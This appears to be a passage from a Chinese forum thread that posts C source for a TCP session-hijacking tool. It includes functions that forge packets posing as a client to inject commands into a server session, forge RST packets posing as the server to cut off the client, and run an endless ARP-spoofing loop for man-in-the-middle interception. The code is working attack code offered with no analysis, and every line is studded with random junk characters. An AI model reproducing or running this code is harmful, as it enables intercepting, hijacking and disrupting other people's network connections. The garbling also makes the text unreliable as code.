& u  w% o2 R* P# N8 E! s3 t  pTmp = g_pConnHead;
0 b; `& M4 K+ P  while(pTmp)
, o) y9 A* S( x  D  { " w; }4 D8 R! |
    if(pTmp-&gt;bActive)   n3 B. F/ w4 O' i) A
    { 4 c" N( E% b' a, ]( q
      //found it
5 S( j9 L) D4 B9 _  {      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp;
% {; j+ V8 \, ^# w  D        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp;
- B% ?. I7 ^% `. j        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
, X8 ~; x: h2 n/ @# ?        (pTmp-&gt;uClientPort == uClientPort) ) , J: a! s  h8 l. d- Q
      {
2 k, s+ ~3 n3 n9 Q+ Y        if(bDelete)   v; l/ R4 U9 F6 S7 t
        { 9 e8 w5 m7 ?4 d  s- F, q
          pTmp-&gt;bActive = FALSE; - V. y- a5 q+ e- R- f. R
          return 0; . {0 R8 G6 G) ~* O, u
        } # ?  o# X1 C" ^  V* h" n" [
        else return pTmp-&gt;ident;
9 c9 j: l& D, K6 J' J0 j2 U      }
5 m* ^4 u( w3 G* X9 p    }
2 O, x- \7 e: o    pTmp = pTmp-&gt;Next; 1 g0 A6 X4 q$ k+ g3 T
  }
+ q+ Z0 f: b6 l. r4 N1 W, n& [  //not found, create new node
* J. A' x$ U3 }8 ^' G0 _) X  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) ) & Z2 |; F) `7 f6 X
  {
8 _* P0 ?3 z: R, S; t    //search unactive note
5 U: f5 Z- g" D. }! G    pTmp = g_pConnHead;
9 b: V4 E1 G( _9 m8 X$ P( c    while(pTmp)
$ @- [3 y+ r% z4 W& b$ J5 T) j    {
* M0 @8 S+ Q, P! `3 N+ w      if(!pTmp-&gt;bActive) break; 3 c9 E1 q8 g" W
      pTmp = pTmp-&gt;Next; ( z. L( s; r6 `* Z
    }
5 ^2 m6 l. W/ t; m* @    //found a unactive node
8 W0 s+ \7 b2 J9 V: v+ E    if(pTmp) ! o) y( D9 |  `8 L4 }$ s
    { / y: P$ F7 K7 k* O& y
      pTmp-&gt;dwServerIP = dwServerIP;
  I4 x0 @3 P7 U5 Z/ z      pTmp-&gt;uServerPort = uServerPort; 9 }# J  x$ I4 o# B" I; {0 f2 G
      pTmp-&gt;dwClientIP = dwClientIP;
0 r, F! Z& Y4 L$ b/ G# Y( I3 W      pTmp-&gt;uClientPort = uClientPort; . _* t* O6 C# h2 u6 m0 X# B3 a
      pTmp-&gt;bActive = TRUE; 2 k7 l' n4 U! v5 Z5 }9 \
      return pTmp-&gt;ident; 9 j. E7 x$ v( K0 m
    }
1 r6 V8 k9 ]- P, W  \2 `7 d; w    //not found,create new node 1 M. U0 W" N, \" `% I7 J
    pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); ' L9 U5 W8 R8 Z
    if(!pNew)
: ^& P$ q! r# k" _& t( V7 G    { ( o. C6 K+ Z( w& C. J  i
      printf("malloc for link node error:%d\n", GetLastError()); 8 _2 U* @/ Y  g9 B+ c/ K7 y
      return 0; ( w3 d2 m, I- `  S7 f5 g
    } * t) u1 q6 N! B) v" G5 J2 d
    //fill the struct
) q4 L' a( O% n) t- @- o, ]    pNew-&gt;bActive = TRUE; ) R/ H) T+ h7 c) G7 `
    pNew-&gt;dwServerIP = dwServerIP; " g) K) j5 g: L
    pNew-&gt;uServerPort = uServerPort; : T: P3 g0 j- q) g" I& A
    pNew-&gt;dwClientIP = dwClientIP;
% K" Q) T- B1 k) S; S; ^* l    pNew-&gt;uClientPort = uClientPort; 9 @" K$ V  u# S  N  g
    pNew-&gt;ident = ++g_ident;
/ ~. ~! V  O3 B; {, O5 R8 X    pNew-&gt;Next = NULL; 1 ]& b: o4 P/ M$ ^: b8 E
    //add new node to link
& M' i- C& E% ^  Q/ b    if(!g_pConnHead) ( q, K! m- u- T/ p4 J
      g_pConnHead = g_pConnLast = pNew; 7 I# q9 }% n, Q4 q3 @3 }- ]+ k$ M
    else ( H- C/ V: {2 p# Y; p
    { + \% M- n! B3 U3 Q7 q; K! T
      g_pConnLast-&gt;Next = pNew;   p  e& y9 e9 f  C6 d. o! s1 l
      g_pConnLast = pNew;
1 g" T; p1 [# t2 N; c, s4 ~    }
6 L1 e" H4 t9 p1 ]7 h0 w    return pNew-&gt;ident; ! [1 x' P; D5 r3 A7 `$ ?
  }
: Q- _3 w  _8 m! U  return 0; 1 }! B, ?  B) v& q2 M$ E
}
5 H6 s! R* L, H, R- m
& I  P) s2 h; X. B: i2 ^//
8 V: H6 J7 }1 \/ }& ~0 d5 T# s7 F//功能:判断一个数据包是不是只有ACK标志
: H5 f8 [7 v2 K# ?9 ^// & c: |1 T8 d- P. M3 K9 l; X7 w3 e
BOOL IsACKPacket(unsigned char flag) 6 \4 ^; C9 b# A9 X
{ $ V) f6 d# p9 p5 o5 J5 [4 A
  int  i, j=1;
+ L5 V9 h3 I5 w8 d  for(i=0 ; i&lt;4; i++)
1 }+ R, I1 B" }8 P. w1 D3 U: @# g- M  { " u6 s3 ]! ?* n
    if(flag &amp; j) return FALSE; ' @' b+ M- U8 s9 X/ {/ k
    j &lt;&lt;= 1;
4 v3 S/ F- l+ N: {# }' A  |  }
, l8 J$ A9 O- |/ @1 u  if(!(flag &amp; 0x10)) return FALSE;//is ack?
  T6 j( j$ G* _  if(flag &amp; 0x20) return FALSE;
, v$ Y2 F6 u# ], a: F  return TRUE;
! w9 b4 x! N1 o! e; A9 Y}
; i5 W3 n& F' b- S9 B: v7 ^1 m
+ V: P1 d% e/ ^3 h! N+ v0 d0 _// 1 ~5 M; X- n3 D4 q
//功能:伪装成Client给Server发送数据包
6 J% s6 k+ Q+ u2 r// ; {/ ^3 N" b+ Z8 Z2 c
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
( e) W* C8 s: Y! ^7 h{
( S% }6 B. b/ G2 a# [- b+ |6 m! c' `  A- t# z- K
  char    szBuff[1520];
1 X$ P# ?: Z) g4 A! S% k, i  PSDHDR    psdhdr;
. h0 d/ S7 Y6 B6 A- h  PTCPPACKET  pHiJackPacket = NULL; & z* |, N8 r- k( {
  BOOL    bRet = FALSE;
2 j4 @5 k5 J. E6 [7 o
! A9 `0 I  f. y" g  ?( I& n" }/ i) }  __try
& j& c1 m# S  F# Y' {. m  { ) O  e3 n& B3 }" C, m
    //
2 z- N" o; v% M    if(!g_pCurrCtrlConn) __leave; " u/ f( ]; s0 J2 b* v
    //allocate memory for hijack packet / T; k# M/ d- h* N2 {
    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
0 i# c! O! O2 L" ~    if(!pHiJackPacket)
$ {6 m  G2 F5 i, }    { . j  o" v2 k  V1 ^
      printf("malloc error:%d\n", GetLastError());
. Z" \" F" t( ]( c5 ^      __leave;   y) ?# q7 I$ j2 ]
    } : f: o# a* r' u
    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
  }* C( O1 v4 S2 D, ?. B; O    //-------------- modify the packet ---------------// 9 ?2 j& K* @( t" a
    //modify ethernet head   d" g# C2 |0 z5 A' L
    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6); , R2 @& V- m( z% c7 R
    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
6 d" A/ Q1 N" |8 b5 O1 a% T6 s0 w    //modify ip head . ^) S+ E; f% w$ y6 e8 X7 C* i
    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); 6 |+ x2 X6 T9 y* l% K/ `& ~
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
9 q( j+ j- c1 _0 v7 L    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
; c* [' C8 W# V    pHiJackPacket-&gt;iphdr.checksum = 0;
/ U8 Y* D1 `5 @+ C" U! ?$ `    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址,伪装成client + {2 M, k5 ~4 {* x2 s' c4 k9 K
    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址,接收hijack包的地址
9 [: Q' ?, ?/ y0 n    //modify tcp head ' k0 Y" x: c/ m# P# L- ^4 {+ O
    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port : i" y: T/ w4 @$ _
    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port 7 A% s: Q9 l& d! j; F1 H( q% |) G
    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0); 5 _& ?3 P1 x9 D# k0 R
    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA 1 |' y# j2 g( J
    pHiJackPacket-&gt;tcphdr.th_sum = 0;
6 T0 L2 p  @6 m1 y# s5 B. S! x5 G    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44; # r* N5 D) _2 U4 O$ M$ J
    //fill tcp psd head
& r8 X: J9 f6 Y9 U4 a    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           3 |  g: q8 l+ A2 j. _) n4 x
    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           
- U. {& x* j9 E. L. E6 S" J    psdhdr.mbz = 0; ( w3 f) w+ b+ g- I* V( d
    psdhdr.ptcl = IPPROTO_TCP;
# H" y/ g# }% i! ~2 Q$ @) V    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
0 N# r6 }' t4 a, @( ~' m' \    //calculate tcp checksum     $ O' j6 O) E5 C, u7 K  S
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
; G4 o8 L5 F" ?% H- x/ D) x; b3 m    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR)); $ K. q: E' P, _- Q. `9 z
    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand)); / a2 I! c8 d3 J& r+ u, k2 w
    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand)); 7 ~4 B/ u# ]; u+ A# j& L
    //calculate IP checksum * C# o8 w% a3 \! @, Q, g/ j; y
    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR));
6 l' P# S% h  y2 d    //fill send buffer           
1 P$ J& c7 i6 S2 C& W; ~5 h: B7 N    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); % t( w) C! D. S
    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
# ^  F- `3 I0 w8 d    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
! x1 [/ K+ T7 F    memset(g_lpSendPacket-&gt;Buffer, 0, 1514); / V# @; a% G5 g
    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
4 x. H8 }3 y% g, N' Y    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) ' s8 T" S$ t. H; v) I
    {
- K! [1 n! w5 F  o% o, p, V* R! d5 ]      printf("Error sending the hijack packets!\n");
; v# H/ p! y# A  S: M5 ^$ @; {      __leave; # [5 F$ ^1 J, I+ R5 Q
    } & s7 E. D" _0 F& H! _& \- ]4 P
    else printf("Send hijack packet ok!\n"); 9 f* z& W3 u9 \3 K0 q
    bRet = TRUE;
8 N0 U# r( j$ W$ i  }
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

__finally 4 s. i" P% _' _, w$ t- C
  { ! Z: s. J( K- ^! K5 K
    if(pHiJackPacket) free(pHiJackPacket); 3 j/ y6 w2 T8 }1 D
  }
! j0 e  c; E8 _3 C/ [! I! l  return bRet;
& [* ?4 d% S. N! x1 h" e( e' Q6 L} 1 B$ m% l3 d2 u" f9 p

, G+ Q0 g( q: H, ~6 ^8 s0 G0 R& ^! Z
// 7 k* }& u5 w4 C
//功能:伪装成Server给Client发送rst包
8 ]5 p3 v3 V# z7 ~# j//
3 J, W4 Z  `0 V7 ?8 Z, DBOOL SendRstPacket(unsigned int seq, unsigned int ack)
. k' j2 @3 `, ^: m6 U4 k& i{ 4 z5 C9 P  q, U7 F8 d
  char    szBuff[60]; . o9 M$ i& N; ?/ l( @
  PSDHDR    psdhdr;
3 q9 D8 }+ k8 ~0 i0 x% X( F2 E" l  PTCPPACKET  pTcpPacket = NULL;
5 b! z$ k9 ^  w/ p  BOOL    bRet = FALSE;
5 J* t4 r! q9 B7 r. ]; L* m: z# Z4 W: p7 Z7 u' [2 x& k% c0 L
  __try * ~" a5 r2 U! x
  {
# s# e' l: A! x3 i& e  h  _    //检查当前指向想控制的连接的信息的指针是否为空 $ A, ~5 [3 [" x
    if(!g_pCurrCtrlConn) __leave; & m$ [0 e# }% g8 m3 }0 w6 k
    //allocate memory for rst packet
& V6 X+ B3 o0 W: e$ c# e    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
% S6 `$ D/ c, ?0 Z3 \: j! @    if(!pTcpPacket)
+ s7 `, ?+ z& J, f- W    {
2 X1 K; U7 R' t2 n' ~" C5 f" m      printf("malloc error:%d\n", GetLastError()); $ x# G7 ?6 ^+ t7 `+ H
      __leave;
/ X+ f1 k, r* z+ j  p0 O$ ]3 A0 u    } ' E1 y4 @6 Q0 P4 P
    //fill ethernet head 4 N4 A* r& {/ F9 G" |3 Z
    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6); $ K7 E$ E7 [( n
    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
/ ]: b; E: F( n  N- M$ A    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
& `: t& t2 Y4 f- t    //fil ip head
/ I) v! r! `, g$ I    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); 1 j, b( T0 ?3 O; J; p) X
    pTcpPacket-&gt;iphdr.tos = 0; ( Y2 \# o) U' p3 s
    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)); 2 e/ Z( d  b1 R$ a3 D1 v% n
    pTcpPacket-&gt;iphdr.ident = 1;
$ V5 I2 b  j7 o  q" S3 I% v! h    pTcpPacket-&gt;iphdr.frag_and_flags = 0; / b" M# @+ ]+ g7 h9 ]. v) j$ ?
    pTcpPacket-&gt;iphdr.ttl = 128; / l+ E' ^+ o- W" t, N1 N
    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP; 9 R( j8 {1 a; `( y) r6 O" h
    pTcpPacket-&gt;iphdr.checksum = 0;
8 @( Z/ e& A' A% R8 _8 `& Z0 Q5 H    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址,伪装成服务器的 : N# W% l  u1 e+ L* r
    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
* E' n4 O: h# Y! A& @    //fill tcp head ( a  v0 {- _7 H( N. c6 `) K- \$ v
    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号,伪装成服务器的端口 $ A* z/ B* U/ z' R7 G
    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口
  _9 f3 a( X+ \; v8 B    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN
, E3 b! O  Q$ g9 Z; o    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK " F6 E" R0 O. [
    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0);
. g* j1 `& x+ Y* h    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag
. B# f! M" n' j/ l    pTcpPacket-&gt;tcphdr.th_win = 0;
  o( |- E- S. [/ x    pTcpPacket-&gt;tcphdr.th_urp = 0; 7 K& X+ [- A/ k# }: f3 ?
    pTcpPacket-&gt;tcphdr.th_sum = 0;
( c7 F: T2 c5 _$ G+ u+ Y    //fill tcp psd head
5 ]7 N* ^) Z1 l. F, ^. N    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
4 G  J# |% Q$ b! ]" U- s    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           
/ m( i9 k% j5 t0 @/ t9 J    psdhdr.mbz = 0;
1 F; o+ l% Q# b# K( u, F    psdhdr.ptcl = IPPROTO_TCP; 9 ~9 c4 q+ b/ z, ^0 m5 y
    psdhdr.tcpl = htons(sizeof(TCPHDR)); " Z) Y- U  Z$ G& ]9 a7 ^
    //calculate tcp checksum     
( s( ]$ k# `. ^' m& l+ h/ v    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
6 C( A, x( S$ V, J    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR)); 3 S: k& h) Q$ {
    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR)); . Q+ b9 N9 g- e: |9 @. u
    //calculate IP checksum
) o9 }7 g& M. V+ h    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR)); ( d( D' l, p, M) D. [4 R6 G
    //fill send buffer * \, ?. a9 Y0 g2 h% l
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514); " J# m. i6 y+ d( Y) L
    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
. H, A3 K6 S" V2 `/ i    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) + d& v; }5 b% v  E
    { 8 o8 {/ @0 ^& z6 k+ }
      printf("Error sending the rst packets!\n"); * z3 s" ]; C8 C% ^. U
      __leave;
- r( s! l) a4 z  o    } ! ^& n7 X1 W) X8 n7 h+ b( r3 ~1 D- k
    else printf("Send RST packet ok!\n");
. [4 j/ y- E, E1 W" P    bRet = TRUE; 0 B1 _. U2 l& o, j4 d8 l
  } 2 T2 H# ~( s4 {
  __finally : `8 W5 k" j3 H' s
  {
5 j1 T. ]* U" g2 o    if(pTcpPacket) free(pTcpPacket); 8 u6 L; B; X5 e' l0 k+ Z9 d/ U
  } " d9 }+ O/ W. {" _9 }$ g5 J
  return bRet; . E. J; U7 S+ X. `& {! o
} ' p! m# c# v1 `3 {) n7 T5 I
; O. Z9 U4 S; q) Z
// ' b" u. k3 K5 Y2 f6 |& l3 ]0 a1 D- @
//功能:计算校验和
2 Q/ ^2 y9 m: u+ S// % s4 G# p5 z! f# D& _
USHORT checksum(USHORT *buffer, int size)
5 u6 p4 ^7 ]; |; P! n6 J* D{
& x- T5 `: i* d/ M8 a unsigned long cksum=0; . R  S$ m  c1 W. D1 g' `
while(size &gt;1) {
8 K! \4 r/ C9 {$ J  cksum+=*buffer++; ) t! e) O; M% A. r9 ^3 W2 a
  size -=sizeof(USHORT); : \: M0 B( _  s8 d
}
# [0 o" ~6 k0 k0 m7 H! ?, ?$ H if(size ) { ' y( Q* R( {$ l( d8 P
  cksum += *(UCHAR*)buffer;
" u8 n7 \- b+ z" ] }
  _$ b' d9 r  A& \0 y8 \6 E! b9 E) l cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
% V' q4 }1 i$ A3 | cksum += (cksum &gt;&gt;16);
4 v9 W& N: h" L7 d8 X  T return (USHORT)(~cksum); + B5 s- W5 u2 q/ k/ t$ v8 r# n
}
( r0 s8 W6 t7 A/ A2 d' v- W9 J" l: {# d+ J& q! ?
//
$ v" c; f' u# a: L//功能:实施ARP欺骗 ; ~2 {$ c1 Z9 \" o, {: S7 s
//1 告诉ServerSide,ClientSide的mac是ownmac
+ }* ]7 i" b9 ~2 h: z9 H//2 告诉ClientSide,ServerSide的mac是ownmac ) H1 g" L0 K7 P' [
//
# X4 }; _, k5 `" c" ~DWORD WINAPI ArpSpoofThread(LPVOID lpType) 3 Q& N  k0 p/ x6 b1 w) `* Z( T
{
" ]8 e4 @8 u: F; V! q  int  iType = *(int *)lpType;
2 L" r8 A$ A1 g' J  ARPPACKET  ArpPacket;
+ n8 Z( |. D* M3 |& H6 s5 w4 q- O* F& n7 l! U  LPPACKET  lpArpPacket;
7 ]) M: h- k! h/ w( ^4 j  char    szArpBuff[60]; 5 X' e7 u, @- I- j" t5 {( b1 w4 Z
9 O. N6 ~2 B4 w: D8 i; b+ G0 p
  switch(iType) : j; }% ~$ F. ]+ _0 L3 E
  {
. T  E9 Y! X5 o. F2 \$ r% c0 \    case 1:
. `+ T1 m, _2 I/ T$ k      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
6 T4 O; @' J3 ]8 d& l; h' ~. a      ArpPacket.arphdr.DestIP = g_ServerSideIP; - R+ I+ ]$ C/ w* Z* S& U
      ArpPacket.arphdr.SourceIP = g_ClientSideIP; & c; k- Q6 f; R; g1 {4 X
      break; $ Q. J+ @& T( Q
    case 2:
4 w& M) y/ U0 f) p      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
1 @- L: G  n" P) C3 e% _      ArpPacket.arphdr.DestIP = g_ClientSideIP; 6 c; e% d2 l( V3 K" m# Q
      ArpPacket.arphdr.SourceIP = g_ServerSideIP; 9 w* i/ \7 D9 V5 Q9 z# W9 N* }
      break; * S4 [! `8 Z1 f: E3 y0 k4 M; y
    default: 0 X1 Z0 ?# C# i4 o2 \
      return 0; ) m' E1 I2 Y; a7 V( i/ @# v2 f
  }
1 T3 C" @. m" V- N% ]- s/ b7 R0 i  //ethernet head
; j6 L0 H3 F4 Y, s  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
3 k0 a9 H' m$ I% o+ ~$ {  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type % E7 W& n4 O6 m
  //arp head
8 R, S& S+ Q. C- P0 f0 r2 g  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
3 g/ Y6 b  c" ~% ?  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
: [  j. k, f/ T3 b+ c  ArpPacket.arphdr.HrdAddrlen = 6;
5 p$ W! _9 n8 E! K  ArpPacket.arphdr.ProAddrLen = 4;
) k# }7 s* t6 Q3 _8 v8 e: R  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE); 4 _# {: }! n" M, m' a% z; f) F
  ArpPacket.arphdr.ProType = htons(EPT_IP); ; q. g1 C2 {' M
  ArpPacket.arphdr.op = htons(2);//arp reply 4 z# g2 U0 C  J% h

, I' H$ ^8 S9 H. s% C- c  ]. A* O  lpArpPacket = PacketAllocatePacket();
& v% U  \3 D& s$ R5 ]8 z# Y( z" W  if(lpArpPacket == NULL) " \- x6 ?5 r& {- n' l
  { - F" G( {' u9 e! Y) H) |" Z
    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
( V; {; u7 K& v! s, m    return 0; " ~! n: m* d* U! V+ G
  } 0 H: O* j+ {8 y5 u5 ^
  memset(szArpBuff, 0, sizeof(szArpBuff)); 7 z+ t9 z7 B7 q8 C# N% W
  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET)); 2 S7 Y( g# |& i! R8 i- r1 k
  PacketInitPacket(lpArpPacket, szArpBuff, 60); * ^2 y4 k9 B. S! R$ N
  //send arp packet
! T/ M2 `5 u1 y" R  while(1) : d1 \6 {3 ~! U5 X* X) f3 p; d" J5 I
  {
; Z0 L6 g/ l- o$ S. w  O0 y/ ?6 z    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
) p0 o/ X2 J% ^- g# E4 [    {
& U& R, A6 l3 B3 `* E; b      printf("Error sending the arp spoof packets!\n");
# _- F. j1 R. Y      return 0;
, |5 b, w- {9 k: m( N    } ( V- x' ~# F& B" ^
    Sleep(1000);
8 B9 g# g5 |/ x6 M9 ~# I# |% m  } ) \& C& y% j0 R$ b) h
  return 0; 2 `* b6 N+ o7 [* D3 e0 e$ d: w) D- Y
}
! z6 L& v4 S  e: ]% j- v! Z) h* c' P, g
// ( C3 ?* _  q9 y0 ~1 B5 F5 f0 Q
//功能:输入IP取得对应的MAC地址 2 C+ D- ~& Z" o* i! q( U
// 5 A+ w* P  z; f3 P! \2 u/ n
BOOL GetMACAddr(DWORD DestIP, char *pMAC)   o) M" _7 \% E$ S3 c0 o3 E
{ . z7 A6 N3 }) V7 c
  DWORD  dwRet; & f2 X# D- J! \& M3 f
  ULONG  ulLen = 6, pulMac[2]; / ]2 {6 u: c" U8 {0 Q: P2 e
  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen);
7 m/ a: z2 A" ]: ?! ^; y  if(dwRet == NO_ERROR)
; P3 i/ Z9 N- y0 J3 c4 ~  {
- I: ]7 F  l6 \4 z# e1 C    memcpy(pMAC, pulMac, 6);
! w5 r  S3 J, {! B6 D- z/ J6 {    return TRUE;
  Y, Z1 t2 N* `1 k" a  } 9 S& y8 h+ }5 ?
  else return FALSE; $ I, `' Y; ?" g9 }5 v# \/ P
}
回复

使用道具 举报

2

主题

15

听众

759

积分

升级  39.75%

  • TA的每日心情
    开心
    2015-8-26 15:55
  • 签到天数: 39 天

    [LV.5]常住居民I

    群组学术交流B

    群组2014数学建模国赛备战

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-8-23 19:28 , Processed in 0.450542 second(s), 90 queries .

    回顶部